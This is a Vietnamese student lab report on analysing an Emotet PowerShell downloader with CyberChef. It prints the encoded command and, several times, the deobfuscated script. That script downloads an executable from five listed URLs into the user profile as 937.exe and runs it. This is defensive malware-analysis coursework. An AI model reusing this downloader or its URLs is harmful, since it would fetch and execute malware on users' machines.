

# BÁO CÁO BÀI TẬP

Môn học: Kỹ thuật phân tích mã độc

Tên chủ đề: BÀI THỰC HÀNH SỐ 5

GVHD: Ngô Đức Hoàng Sơn

## 1. THÔNG TIN CHUNG:

(Liệt kê tất cả các thành viên trong nhóm)

Lớp: NT137.Q11.ANTT.1

ST T	Họ và tên	MSSV	Email
1	Tù Chí Kiên	22520713	22520713@gm.uit.edu.vn
2	Hà Minh Quân	22521177	22521177@gm.uit.edu.vn

## 2. NỘI DUNG THỰC HIỆN:<sup>1</sup>

STT	Công việc	Kết quả tự đánh giá
2	Phân tích EMOTET_2.txt	100%

**Phần bên dưới của báo cáo này là tài liệu báo cáo chi tiết của nhóm thực hiện.**

1. Sử dụng CyberChef và các công cụ khác cùng với các mẫu EMOTET\_2.txt, hãy cố gắng trả lời các câu hỏi sau ..... 3

---

<sup>1</sup> Ghi nội dung công việc

# BÁO CÁO CHI TIẾT

## 1. Sử dụng CyberChef và các công cụ khác cùng với các mẫu EMOTET\_2.txt, hãy cố gắng trả lời các câu hỏi sau

Xem nội dung trong file sử dụng type thấy file:

Chạy Powershell -w hidden -en: Là chạy script Powershell dưới dạng không cửa sổ

Cùng với một chuỗi dài.

```
C:\Users\fare-vm\Documents\Lab5\emotet_2>type emotet_2.txt
PowerShell -w hidden -en JABBAHoAeQB0AGoAaAB6AGcAYQB1AG0AaQBnAD0AJwBjAOHYAeABkAHgAZwBjAGMAYgBuAGcAJwA7ACQATgBuAHkAagB0AGg
AYwByAHoAagBvAHkAdgAgAD0AIAAnADkAMwA3ACCACoWAKAEKAAQBXAHMAZgBwAHMABQA9ACcAUgBvAGcAeABwAGcAeQB2AGUJwA7ACQAROBRAHgAaABsA68
AYgBxAHIAbAb0D0AJAB1AG4AdgA6AHUAcwB1AHIAcAByAG8AZgBpAgwAZQArAccAXAAAnAcSAJABOAG4EeQBqAHQaAbjAHIAegBqAG8AeQB2ACcAJwAuAGU
AeAB1AcCAoWAKAFMAYgByAHkAcAB5AHcAeABnAGMAaQB0AGYAPQAnAfCAcABhAHcAeQB1AGkAcQBtAg0AJwA7ACQASAbPAHIAbQB5AGgAcQBhAGwAdBvAHM
APQAmACgAJwBuAGUdwAtAG8AJwArACCAYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4A2QBUAc4AVwB1AEIAqWBMAgkARQBuFQAwAkAFIAeABiAHkAdBwApG
AaQ9ACcAaB0AHQAcAA6AC8ALwBhAGgAYwAuAG0AcgB1AGQAZQB2AC4AYwBvAG0ALwB3HAALQBhAGQAbQbPAG4ALwBxHAAMAAvAc0AaAB0AHQAcAA6AC8
ALwB1AC0dAB3AG8AdwAuAGIAZQAvAHYAZQByAGQAZQAvAgkAbgA2AGsALwAqAggAdAB0AHAAcA6AC8ALwBtAGEZwBuAGkA7zBpAGMAZQBuAHQAcABhAg5
AaQbZAHQAYQBuAC4YwBvAG0ALwB3AHAALQbPAG4AYwBzAHUAZAB1AHMALwBoAGEANQbQdAAygAxAC8AKgB0AHQAdABwAHMA0gAvAC8AdwB3AHCALgBxAHc
AcQbVgA8ALgBjAG8AbQAvAggAbwBtAgwAZB3AC8AMwBwAgkAeQB5ADQALwAqAggAdAB0AHAA0gAvAC8AcwBpAhcAYQbRAHUAcabVAHMabwAuAGMabwBtAC8
AcwBpAhcAYQbRAHUMgAvAfQgANQB6AEIAMAB1AHkAlwAnAC4A1gBzAHAATAbgAgkAVAAiAcgA1wBjAGgAYQbYAF0ANAAyACKoAwkAE4AdQbVgAgwAb3AGY
AcQb0AD0AJwBRAHTAdgBvAggAZBpAHUAYgBmAGUaawAnAdSAGzBvAHIAZQbHAGMAaAa0AcQAtgBkAgwAdQbHAgwAdQb2ACAAjAbsAaHgAYgB5AHc
AaQbJAGKAKQb7AHQAgB5AH5AABTAGkAcgBtAHkAaABXAgEBab0AG8AcwAuATARAbvAhcAYAB0AGwAbwBhAGQzBpAgAAATBFACTIAKAACe4A2ZBsAH
AYQbSAHUAAdgAsACAAJABFAGsAeAb0GwAbwB1AHcAcgBsAggAKQa7ACQASAbRAHUAawBrAgBwAbwAHQAgBkAHIApQAnAfGAYQbIAgQaEAB2AGsAzgBjAG0
AYQAnAdSAQbmacAAKAAoACYAKAArAECACZQbAAC0ASQAnAcSAJwB0AGUAbQAnAckATAkAEUAAwB4AGgAbAbVAGIAcQByAgwAaAapAC4ATgBMAGAZQbUAGc
AYABUAEgAIgAgAC0AZwB1ACAAAG5ADkAMwA2ACKAIB7AFsARAbpAGEZwBuAG8AcwB0AGkAYwBzAC4AUAbYAG8AYwB1AHMAcwBdAoA0gAiAHMAYABUAE
AugB0ACIAKAAkAEUAAwB4AGgAbAbVAGIAcQByAgwAaAapAdSAGJABZHAoAgBqAGYAcAbSAG0AawBnAhgAPQAnAEIAeAbSAGsAcQbTAHQAgB0A0wBiaH
AZQbHAGsA0wAkAE0AbwBsAGMAaAbpAGoAeAA9AcCAGQ1AGEAdABsAGIAZABsAHEAdgBmAGQAcAAh0AfQbJAGgAewB9AH0AJABsAGMAaBwAhAgo
AgB4AHYAA09ACcARQBqAGUAYwB3AGEAcgBnAGsAYwBsAccA
```

Sử dụng cyberchef giải mã base64 chuỗi thì thấy chuỗi giải mã có nhiều null

The screenshot shows the CyberChef interface with the following details:

- Operations:** A sidebar on the left with various options like Remove, Remove EXIF, Remove Diacritics, etc.
- Recipe:** Set to "From Base64" with the "Alphabet" dropdown set to "A-Za-z0-9+=".
- Input:** A large text area containing a long base64 encoded string. The string starts with "JABBAHoAeQB0AGoAaAB6AGcAYQB1AG0AaQBnAD0AJwBjAOHYAeABkAHgAZwBjAGMAYgBuAGcAJwA7ACQATgBuAHkAagB0AGg" and continues with many other characters including null bytes.
- Output:** A large text area showing the decoded output. The output is filled with numerous null characters ('NUL') interspersed with the original characters from the input.
- Buttons:** At the bottom center are "STEP" and "BAKE!" buttons, and on the right are "Auto Bake" and "Raw Bytes" buttons.

Nên thêm remove null bytes

The screenshot shows the CyberChef interface with the following configuration:

- Operations:** A sidebar on the left containing various tools like Remove EXIF, Remove Diacritics, Remove null bytes, Remove whitespace, Remove line numbers, Fang URL, Strip HTML tags, Strip HTTP headers, and Unique.
- Recipe:** A main panel titled "From Base64" with the alphabet set to "A-Za-z0-9+=". It includes checkboxes for "Remove non-alphabet chars" and "Strict mode".
- Input:** A large text area containing a long base64 encoded string.
- Output:** A text area showing the decoded command, which appears to be a PowerShell script.
- Buttons:** "STEP", "BAKE!", and "Auto Bake".
- Bottom:** A status bar with "CyberChef 14", "7ms", "Raw Bytes", and "LF (detected)".

Sau đó tách ra từng dòng tại ký tự ";" và chỉnh lại sẽ có kết quả sau

```
C:\> Users > fare-vm > Documents > Lab5 > emotet_2 > $Azytjhzaumig='Nvxidxgccbng'; - Copy.ps1
1 $Azytjhzaumig='Nvxidxgccbng';
2 $Nnyjthcrzjoyv = '937';
3 $Iiqsfpsm='Rogxpgye';
4 $Ekxhlobqrjh=$env:userprofile+'\+$Nnyjthcrzjoyv+.exe';
5 $Sbrypywxgcitf='Wpawybiqmj';
6 $Hirmyhqaltos=&('new-o'+ 'bj'+ 'ect') NeT.WeBCLiEnT;
7 $Rxbywici='http://ahc.mrbdev.com/wp-admin/qp0/*'
8 http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*
9 https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X5zB0ey/.spl`iT"([char]42);
10 $Nuoltwfqh='Qrvohdiubfek';
11 foreach($Ndlualuv in $Rxbywici){
12     try{
13         $Hirmyhqaltos."Dow`Nloadfi`LE"($Ndlualuv, $Ekxhlobqrjh);
14         $Hkukkfoptjdr='Xabdxvkfcma';
15         If (((&('Get-I'+ 'tem') $Ekxhlobqrjh)."L`eng`TH" -ge 29936) {
16             [Diagnostics.Process]::s`TART"($Ekxhlobqrjh);
17             $Yzjjfpplmkgx='Bxlkqmtxa';
18             break;
19             $Molchijx='Quatlbdlvfdp'
20         }
21     }
22     catch{
23     }
24 }
25 $Rckajrxvi='Ejecwargkc1'
```

Kiểm tra từng thay biến sau không được sử dụng:

Biến \$Azytjhzaumig

```

Welcome > $Azytjhzgaumig='Nvxdxgccbng'; - Copy.ps1 > Azytjhzgaumig Aa ab * 1 of 1 ↑ ↓ ≡ ×
C: > Users > fare-vm > Documents > Lab5 > emotet_2 > $Azytjhzgaumig='Nvxdxgccbng'; - Copy.ps1
1 $Azytjhzgaumig='Nvxdxgccbng';
2 $Nnyjthcrzjoyv = '937';
3 $Iiqsfpsm='Rogxpgyve';
4 $Ekxhlobqrjh=$env:userprofile+'\+$Nnyjthcrzjoyv+.exe';
5 $Sbrypywxgcif='wpawybqimj';
6 $Hirmyhqlatos=&('new-o'+bj+'ect') NeT.WeBCLiEnT;
7 $Rxbwyici='http://ahc.mrbdev.com/wp-admin/qp0/*'
8 http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*
9 https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X5zB0ey/'.spl'it"([char]42);
10 $Nuoltwfqh='Qrvohdiubfek';
11 foreach($Ndlualuv in $Rxbwyici){
12     try{
13         $Hirmyhqlatos."Dow`NLoadfi`LE"($Ndlualuv, $Ekxhlobqrjh);
14         $Hukkfoptjdr='Xabdxvkfcma';
15         If ((&('Get-I'+tem') $Ekxhlobqrjh)."L`eng`TH" -ge 29936) {
16             [Diagnostics.Process]::"s`TART"($Ekxhlobqrjh);
17             $YzjjfpImkx='Bxlkqmtxa';
18             break;
19             $Molchijx='Quatlbdlqvfdp';
20         }
21     } catch{
22     }
23 }
24 }
25 }
26 $Rckajrxvi='Ejecwargkcl'

```

## Tiếp theo Iiqsfpsm

```

Welcome > $Azytjhzgaumig='Nvxdxgccbng'; - Copy.ps1 > liqsfpsm Aa ab * 1 of 1 ↑ ↓ ≡ ×
C: > Users > fare-vm > Documents > Lab5 > emotet_2 > $Azytjhzgaumig='Nvxdxgccbng'; - Copy.ps1
1 $Azytjhzgaumig='Nvxdxgccbng';
2 $Nnyjthcrzjoyv = '937';
3 $Iiqsfpsm='Rogxpgyve';
4 $Ekxhlobqrjh=$env:userprofile+'\+$Nnyjthcrzjoyv+.exe';
5 $Sbrypywxgcif='wpawybqimj';
6 $Hirmyhqlatos=&('new-o'+bj+'ect') NeT.WeBCLiEnT;
7 $Rxbwyici='http://ahc.mrbdev.com/wp-admin/qp0/*'
8 http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*
9 https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X5zB0ey/'.spl'it"([char]42);
10 $Nuoltwfqh='Qrvohdiubfek';
11 foreach($Ndlualuv in $Rxbwyici){
12     try{
13         $Hirmyhqlatos."Dow`NLoadfi`LE"($Ndlualuv, $Ekxhlobqrjh);
14         $Hukkfoptjdr='Xabdxvkfcma';
15         If ((&('Get-I'+tem') $Ekxhlobqrjh)."L`eng`TH" -ge 29936) {
16             [Diagnostics.Process]::"s`TART"($Ekxhlobqrjh);
17             $YzjjfpImkx='Bxlkqmtxa';
18             break;
19             $Molchijx='Quatlbdlqvfdp';
20         }
21     } catch{
22     }
23 }
24 }
25 }
26 $Rckajrxvi='Ejecwargkcl'

```

Biến có tên: Sbrypywxgcif

```
C:\> $Aztyjhzgaumig='Nvxidxgccbng'; - Copy.ps1 <
C:\> $Aztyjhzgaumig='Nvxidxgccbng'; - Copy.ps1 > Sbrypywxgcifit
Aa aP * 1 of 1 ↑ ↓ = x
1 $Aztyjhzgaumig='Nvxidxgccbng';
2 $Nnyjthcrzjoyv = '937';
3 $Iiqsfpsm='Rogxpgyve';
4 $Ekxhlobqrjh=$env:userprofile+'\'+$Nnyjthcrzjoyv+'.exe';
5 $Sbrypywxgcifit='Wpawbybigm!';
6 $Hirmyhqalatos-&('new-o'+ 'bj' + 'ect') NeT.WeBCLiEnT;
7 $Rxbywici='http://ahc.mrbdev.com/wp-admin/qpo/*
8 http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*
9 https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X5zB0ey/*."spl_it"([char]42);
10 $Nuoltwfqh='Qrvohdiubfek';
11 foreach($Ndlualuv in $Rxbywici{
12     try{
13         $Hirmyhqalatos."Dow\Nloadfi`LE"($Ndlualuv, $Ekxhlobqrjh);
14         $Ikukkfoptjdr='Abdxvkfcma';
15         If ((&('Get-I'+ 'tem') $Ekxhlobqrjh)."L`eng`TH" -ge 29936) {
16             [Diagnostics.Process]:!`s TART"($Ekxhlobqrjh);
17             $YzjjfpImkgx='Bxlkqmtxa';
18             break;
19             $Molchijx='Quatlbdllqvfdp'
20         }
21     }
22     catch{
23     }
24 }
25 }
26 $Aztyjhzgaumig='Fiecwacok1'
```

Biển Nuoltwfqh

The screenshot shows a Windows terminal window with several tabs open. The current tab displays a PowerShell script named 'Copy.ps1' located at 'C:\Users\fare-vm\Documents\Lab5\emotet\_2'. The script content is as follows:

```
$Aztyjhzaumig='Nvxidxgccbng'; - Copy.ps1
$Nyjthcrzjooy = '937';
$Iiqsfpsm='Rogpxgyve';
$Ekxhlobqr1h=$env:UserProfile+'\'$Nyjthcrzjooy+'.exe';
$Sbrypxwgcitf='Wpabybiqmj';
$Hirmyhalto=&('new-o'+ 'bj'+ 'ect') NeWeBCLiEnT;
$Nuoltwfqh='Qrvohdiubfek';
foreach($Ndlualuv in $Rxbwici){
    try{
        $Hirmyhalto.'Dow Nloadfi LE'($Ndlualuv, $Ekxhlobqr1h);
        $Hukkfoptjdr='Xabdxvkfcma';
        If ((&('Get-I + 'tem') $Ekxhlobqr1h).Leng TH -ge 29936) {
            [Diagnostics.Process]::s^TART'($Ekxhlobqr1h);
            $Yzjjfplmkgx='Bx1kqmtxa';
            break;
            $Molchijx='Quatlbd1qvfdp';
        }
    }
    catch{
    }
}
$Ekxhlobqr1h='Eicewararakel'
```

The status bar at the bottom indicates the file is 'Copy.ps1' and the line count is '1 of 1'. There are also icons for file operations like copy, paste, and search.

Biến Hkukkfoptjdr

```

    ➤ Welcome ➤ $Azytjhzgaumig='Nvwdxgccbng'; - Copy.ps1 ✘
C:\> Users > fare-vm > Documents > Lab5 > emotet_2 > ➤ $Azytjhzgaumig='Nvwdxgccbng'; - Copy.ps1
5 $Brypywxcif=$'wpawybiqmj';
6 $Hirmyqaltos=&('new-o'+bj'+ect') NeT.WeBCLiEnT;
7 $Rxbwyici='http://ahc.mrbdev.com/wp-admin/qpo/*
8 http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*
9 https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X5zB0ey/*."spL iT"([char]42);
$Nuoltwfqh='Orvohdiubfek';
foreach($Ndualuv in $rxbwyici{
    try{
        $Hirmyqaltos."Dow Nloadfi`LE"($Ndualuv, $Ekxhlobqrh);
        $Hkukkfoptjdr='Xabdxvkfcma';
        If (((&('Get-I'+tem') $Ekxhlobqrh)."L`eng`TH" -ge 29936) {
            [Diagnostics.Process]::"s`TART"($Ekxhlobqrh);
            $Yzjjfp1mkgx='Bxlkqmtxa';
            break;
            $Molchijx='Quatlbdqlqvfdp'
        }
    }
    catch{
    }
}
$Rckajrxvi='Ejecwargkcl'

0 △ 0

```

Ln 14, Col 22 (12 selected) Spaces: 4 UTF-8 CRLF {} PowerShell

## Biến Yzjjfp1mkgx

```

    ➤ Welcome ➤ $Azytjhzgaumig='Nvwdxgccbng'; - Copy.ps1 ✘
C:\> Users > fare-vm > Documents > Lab5 > emotet_2 > ➤ $Azytjhzgaumig='Nvwdxgccbng'; - Copy.ps1
5 $Brypywxcif=$'wpawybiqmj';
6 $Hirmyqaltos=&('new-o'+bj'+ect') NeT.WeBCLiEnT;
7 $Rxbwyici='http://ahc.mrbdev.com/wp-admin/qpo/*
8 http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*
9 https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X5zB0ey/*."spL iT"([char]42);
$Nuoltwfqh='Orvohdiubfek';
foreach($Ndualuv in $Rxbwyici{
    try{
        $Hirmyqaltos."Dow Nloadfi`LE"($Ndualuv, $Ekxhlobqrh);
        $Hkukkfoptjdr='Xabdxvkfcma';
        If (((&('Get-I'+tem') $Ekxhlobqrh)."L`eng`TH" -ge 29936) {
            [Diagnostics.Process]::"s`TART"($Ekxhlobqrh);
            $Yzjjfp1mkgx='Bxlkqmtxa';
            break;
            $Molchijx='Quatlbdqlqvfdp'
        }
    }
    catch{
    }
}
$Rckajrxvi='Ejecwargkcl'

0 △ 0

```

Ln 17, Col 25 (11 selected) Spaces: 4 UTF-8 CRLF {} PowerShell

## Biến Rckajrxvi

```

C:\> Users > fare-vm > Documents > Lab5 > emotet_2 > $Azytjhzaumig='Nvxdxgccbng'; - Copy.ps1 <
C:\> $Sbrypywxgcif=$'Wpawybiqmj';
6 $Hirmyhqaltos=&('new-o'+bj+'ect') NeT.WeBCLiEnT;
7 $Rxbywici='http://ahc.mrbdev.com/wp-admin/qpo/*'
8 http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*
9 https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X5zB0ey/.spl`iT"([char]42);
10 $Nuoltwfqh='Qrvohdiubfek';
11 foreach($Ndualuv in $Rxbywici){
12     try{
13         $Hirmyhqaltos."Dow Nloadfi`LE"($Ndualuv, $Ekxhlobqrh);
14         $Ikukfkoftjdr='Xabdxvkfcma';
15         If (((&('Get-I'+tem') $Ekxhlobqrh)."L`eng`TH" -ge 29936) {
16             [Diagnostics.Process]::s`TART"($Ekxhlobqrh);
17             $YzjjfpImkgx='Bxlkqmtxa';
18             break;
19             $Molchijx='Quatlbdlqvfdp'
20         }
21     }
22     catch{
23     }
24 }
25 }
26 $Rckajrxvi='Ejecwargkcl'

```

Nhưng vậy có thể xóa các biến này

```

$Nnyjthcrzjoyv = '937';
$Ekxhlobqrh=$env:userprofile+'\+$Nnyjthcrzjoyv+.exe';
$Hirmyhqaltos=&('new-o'+bj+'ect') NeT.WeBCLiEnT;
$Rxbywici='http://ahc.mrbdev.com/wp-admin/qpo/*'
http://e-twow.be/verde/in6k/*https://magnificentpakistan.com/wp-includes/ha5j0b1/*
https://www.qwqoo.com/homldw/3piyy4/*http://siwakuposo.com/siwaku2/X5zB0ey/.spl`iT"([char]42);
foreach($Ndualuv in $Rxbywici){
    try{
        $Hirmyhqaltos."Dow Nloadfi`LE"($Ndualuv, $Ekxhlobqrh);
        If (((&('Get-I'+tem') $Ekxhlobqrh)."L`eng`TH" -ge 29936) {
            [Diagnostics.Process]::s`TART"($Ekxhlobqrh);
            break;
        }
    }
    catch{
    }
}

```

Tiếp theo sẽ phân tích từng biến:

- Nnyjthcrzjoyv có giá trị là '937' và được sử dụng có kết hợp chuỗi '.exe', Nnyjthcrzjoyv là tên file, như vậy đặt lại là filename.
- Ekxhlobqrh ghi lại địa chỉ của người dùng hiện tại kết hợp với tên file và exe, Ekxhlobqrh là tên đường dẫn, như vậy đặt lại là pathname.

- Hirmyhqaltos chứa &('new-o'+'bj'+'ect') phần bên trong sẽ được gán lại thành new-object khi chạy và ký tự '&' sẽ gọi powershell chạy phần new-object. Như vậy Hirmyhqaltos sẽ chứa New-Object Net.WebClient, vậy đặt tên lại là webclient

- Rxbywici chứa các chuỗi url nhưng cách nhau tại ký tự '\*' và có hàm split() tại những dạng ký tự có mã ascii 42 dạng dec tương đương với '\*', như vậy Rxbywici chứa danh sách các chuỗi url, đặt lại là urllist.

- Còn Ndlualuv chỉ là biến tạm thời chứa từng url

Sau khi chỉnh sửa thì có dạng như sau

```

1 $filename = '937';
2 $pathname=$env:UserProfile+'\+$filename+.exe';
3 $webclient=&('new-o'+'bj'+'ect') Net.WebClient;
4 $urllist='http://ahc.mrbdev.com/wp-admin/qp0/*'
5     http://e-twow.be/verde/in6k/*
6     https://magnificentpakistan.com/wp-includes/ha5j0b1/*
7     https://www.qwqoo.com/homldw/3piyy4/*
8     http://siwakuposo.com/siwaku2/X5zB0ey/'.spL`iT"([char]42);
9 foreach($Ndlualuv in $urllist){
10     try{
11         $webclient."DownLoadFile"($Ndlualuv, $pathname);
12         If ((&('Get-Item') $pathname)."Length" -ge 29936) {
13             [Diagnostics.Process]::Start($pathname);
14             break;
15         }
16     }
17     catch{
18     }
19 }
20 }
```

Như vậy chương trình sẽ hoạt động như sau:

- Chương trình sẽ kết nối đến từng url trong 5 url:

+ http://ahc.mrbdev.com/wp-admin/qp0/

+ http://e-twow.be/verde/in6k/

+ https://magnificentpakistan.com/wp-includes/ha5j0b1/

+ https://www.qwqoo.com/homldw/3piyy4/

+ http://siwakuposo.com/siwaku2/X5zB0ey/

Tải xuống tệp và lưu vào tệp có tên 937.exe trong thư mục của người dùng hiện tại

Nếu tệp lớn hơn hoặc bằng với 29936 byte thì sẽ thực thi chương trình, nếu không thì đi đến url tiếp theo.

Để trả lời các câu hỏi sau:

## 1. Trang web nào mà mã độc Emotet đang tải xuống tập thực thi của nó?

**Các trang web mà mã độc đang tải xuống:**

- + <http://ahc.mrbdev.com/wp-admin/qp0/>
- + <http://e-twow.be/verde/in6k/>
- + <https://magnificentpakistan.com/wp-includes/ha5j0b1/>
- + <https://www.qwqoo.com/homldw/3piyy4/>
- + <http://siwakuposo.com/siwaku2/X5zB0ey/>

## 2. Phương pháp nào Emotet sử dụng để tải xuống tệp? (Chức năng tích hợp nào được sử dụng?)

Sử dụng hàm System.Net.WebClient.DownloadFile() để tải xuống tệp

## 3. Các máy chủ điều khiển (C2) nào mà mẫu Emotet sử dụng để phân phối?

Trong tệp mã độc Emotet chỉ tải xuống một tệp mới và thực thi tệp đó, thông tin kết nối C2 có thể nằm trong tệp tải xuống.

Nhưng do các url đều không thể kết nối đến nên không thể xem cách hoạt động của tệp tải xuống.

## 4. Công thức (recipe) chính xác nào đã được sử dụng trong CyberChef để lấy được thông tin này?

Sử dụng From Base64 kết hợp với Remove null bytes trong CyberChef

---

**HẾT**